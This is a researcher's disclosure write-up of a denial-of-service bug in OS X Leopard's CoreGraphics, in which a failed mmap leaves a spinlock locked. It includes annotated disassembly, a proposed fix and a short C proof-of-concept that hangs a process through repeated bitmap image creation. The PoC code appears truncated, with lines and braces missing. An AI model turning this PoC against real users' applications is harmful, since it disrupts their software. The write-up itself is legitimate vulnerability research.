"Remotely accessible" denial of service in OS X CoreGraphics

»I ran across a denial of service condition in OS X Leopard's CoreGraphics framework (under the ApplicationServices framework) which was reachable remotely via Safari and Firefox while looking in to an unrelated issue. I had some fun looking in to the bug even though there wasn't much to it.
I mailed the following report to the Apple Product Security Team mid-November 2008. A fix finally appeared in Safari (somewhat silently) this October, and I believe it is fixed system-wide in Snow Leopard, but I haven't yet confirmed.

= Denial of service vulnerability in CoreGraphics framework
= Summary

The CoreGraphics (CG) subframework in OS X Leopard fails to properly
handle mmap(2) failure in its memory management functions leading to
a locked, reused spinlock(3) and possible memory leakage.

= Impact
- (proven)   Denial of Service
- (unlikely) Potential Memory Leak
- (unlikely) May act as an escalation vector for a NULL pointer
            dereferencing attack

Any application which allows for the user-supplied dimensions of
CoreGraphics image while allowing CG to perform the memory management
may result a denial of service if that context's memory allocation
spinlock(3) is reused prior to context destruction.

In addition, questionable error checking may leave mmap(2)ed memory
unfreed and unused if it is possible to cause mmap(2) to return an
allocation at address 0.  This is pretty unlikely for a lot of reasons.

= Proof of concept

* Browse to 
  in Safari or Firefox.
* Code sample is appended at the end of this text.
 (These were tested on 32-bit Intel and PPC machines only)

= Analysis:

CGBitmapContextCreateImage() calls the internal function
create_bitmap_data_provider() to create the image data provider for the
final image object.  Since NULL was passed into the context, CG handles
the allocation.   create_bitmap_data_provider() will then call the
internal function mem_allocate().  mem_allocate() handles locking and
unlocking the spinlock(3) stored in a shared structure.  The relevant
code path is as follows:

0x919e4edb <mem_allocate+5>:  sub    esp,0xc0
0x919e4ee1 <mem_allocate+11>: mov    esi,DWORD PTR [ebp+0x10]
0x919e4ee4 <mem_allocate+14>: test   BYTE PTR [ebp+0xc],0xc
0x919e4ee8 <mem_allocate+18>: je     0x919e51fd <mem_allocate+807>
0x919e4eee <mem_allocate+24>: mov    eax,DWORD PTR [ebp+0x8]
0x919e4ef1 <mem_allocate+27>: add    esi,0xfff
0x919e4ef7 <mem_allocate+33>: and    esi,0xfffff000
0x919e4efd <mem_allocate+39>: add    eax,0x230
0x919e4f02 <mem_allocate+44>: mov    DWORD PTR [ebp-0x98],eax
0x919e4f08 <mem_allocate+50>: mov    DWORD PTR [esp],eax
0x919e4f0b <mem_allocate+53>: call   0xa0a26639 <dyld_stub_OSSpinLockLock>
----------------------------> the spinlock(3) is locked.
0x919e4f10 <mem_allocate+58>: shr    DWORD PTR [ebp+0xc],0x3
0x919e4f14 <mem_allocate+62>: movzx  edx,BYTE PTR [ebp+0xc]
0x919e4f18 <mem_allocate+66>: mov    DWORD PTR [esp+0x14],0x0
0x919e4f20 <mem_allocate+74>: mov    DWORD PTR [esp+0x18],0x0
0x919e4f28 <mem_allocate+82>: mov    DWORD PTR [esp+0xc],0x1002
0x919e4f30 <mem_allocate+90>: and    edx,0x1
0x919e4f33 <mem_allocate+93>: cmp    dl,0x1
0x919e4f36 <mem_allocate+96>: sbb    eax,eax
0x919e4f38 <mem_allocate+98>: and    eax,0xfffffffe
0x919e4f3b <mem_allocate+101>:  add    eax,0x36000002
0x919e4f40 <mem_allocate+106>:  mov    BYTE PTR [ebp-0x85],dl
0x919e4f46 <mem_allocate+112>:  mov    DWORD PTR [esp+0x10],eax
0x919e4f4a <mem_allocate+116>:  mov    DWORD PTR [esp+0x8],0x3
0x919e4f52 <mem_allocate+124>:  mov    DWORD PTR [esp+0x4],esi
0x919e4f56 <mem_allocate+128>:  mov    DWORD PTR [esp],0x0
0x919e4f5d <mem_allocate+135>:  call   0xa0a2679c <dyld_stub_mmap$UNIX2003>
-----------------------------> mmap is called
0x919e4f62 <mem_allocate+140>:  cmp    eax,0xffffffff
0x919e4f65 <mem_allocate+143>:  mov    edi,eax
0x919e4f67 <mem_allocate+145>:  je     0x919e58be <mem_allocate+2536>
0x919e4f6d <mem_allocate+151>:  test   eax,eax
0x919e4f6f <mem_allocate+153>:  je     0x919e58be <mem_allocate+2536>
-----------------------------> if mmap() returns 0 or -1, bail;
0x919e51ea <mem_allocate+788>:  call   0xa0a26643 <dyld_stub_OSSpinLockUnlock>
-----------------------------> this is bypassed.
0x919e58be <mem_allocate+2536>: xor    eax,eax
0x919e58c0 <mem_allocate+2538>: jmp    0x919e59ea <mem_allocate+2836>
0x919e59a4 <mem_allocate+2766>: call   0xa0a26643 <dyld_stub_OSSpinLockUnlock>
------------------------------> this is bypassed.
0x919e59ea <mem_allocate+2836>: add    esp,0xc0
0x919e59f0 <mem_allocate+2842>: pop    esi
0x919e59f1 <mem_allocate+2843>: pop    edi
0x919e59f2 <mem_allocate+2844>: leave
0x919e59f3 <mem_allocate+2845>: ret

This roughly translates to:
 if (p == MAP_FAILED) return; /* without unlocking */
 if (p == NULL) return; /* without unlocking */

After mem_allocate() fails, create_bitmap_data_provider() logs an error
on behalf of CGBitmapContextCreateImage (via CGPostError) and then
CGBitmapContextCreateImage() continues on its way.  A second call will
result in mem_allocate() blocking forever on the spinlock.

Interestingly, this does not happen with all large allocation requests
in my test environment, but only on a subset of requests where an
allocation zone of the given size can be created in
CGBitmapContextInfoCreate() using calloc() (by way of
CGBitmapAllocateData).  calloc(3) calls malloc_zone_calloc().  This will
allocate virtual memory for the context info but does not require
immediate use of the space.  Because of how OS X handles allocations, it
will only page in large allocations (like 1GB) as they are accessed.
This means that on a reasonable system with >= ~1GB of virtual space,
this attack will work.  For systems with >= ~4GB of virtual memory, this
dangerous locking condition can occur more easily (I'm guessing).

It's also worth noting that this displays another programming error.
mmap(2) does not return 0 (NULL) on failure.  This means that if mmap(2)
succeeds with a mapping at 0, then the memory will be lost when the
error handling logic kicks in and NULL pointers become accessible --
even if the contents are not attacker controlled from this vector.

However, this only appears to be possible if __PAGEZERO is not in
mapped into the given binary or mmap(2) was called with the
MAP_FIXED flag (which is not the case in mem_allocate).

= The Fix:

The easiest fix is to ensure that mmap(2) error handling properly checks
only for MAP_FAILED (and the errno if useful logging is desired).  In
addition, prior to return, the spinlock(3) must be unlocked.

Since I'm not familiar with the CG APIs, it is possible that there is some
error condition that could be checked to indicate that a context should
not be reused, but if so, both Firefox and Safari make the same mistake
shown in the sample code below.

= Acknowledgements:

Thanks to my colleagues Neel Mehta and Tavis Ormandy for invaluable
discussion and review of these findings.

= Code Sample:

/*  denial of service proof of concept
 * Will Drewry
 * g++ -framework Carbon -g -ggdb3 -o draw_dos
 * ./draw_dos 16384 16384
#include <stdio.h>
#include <stdlib.h>
#include <Carbon/Carbon.h>

void DrawDoS(size_t width, size_t height) {
 printf("entering from DrawDoS\n");
 CGColorSpaceRef colorspace = CGColorSpaceCreateWithName(
 /* let CoreGraphics handle the memory so we hit the mem_allocate bug*/
 CGContextRef bitmapCtx = CGBitmapContextCreate(NULL,
                          width, height, 8, 0, colorspace,
 CGImageRef image = CGBitmapContextCreateImage(bitmapCtx);
 /* The second image creation appears to trigger the locking condition */
 image = CGBitmapContextCreateImage(bitmapCtx);
 printf("returning from DrawDoS\n");
int main(int argc, char** argv) {
 if (argc < 3) {
   fprintf(stderr, "Usage:\n%s width height\n", argv[0]);
   return 1;
 size_t width = strtoul(argv[1], NULL, 0);
 size_t height = strtoul(argv[2], NULL, 0);
 DrawDoS(width, height);
 return 0;

This was discovered and analyzed on my employer's time. Thanks!

This page does not necessarily reflect the views of my employer or anyone I'm associated with.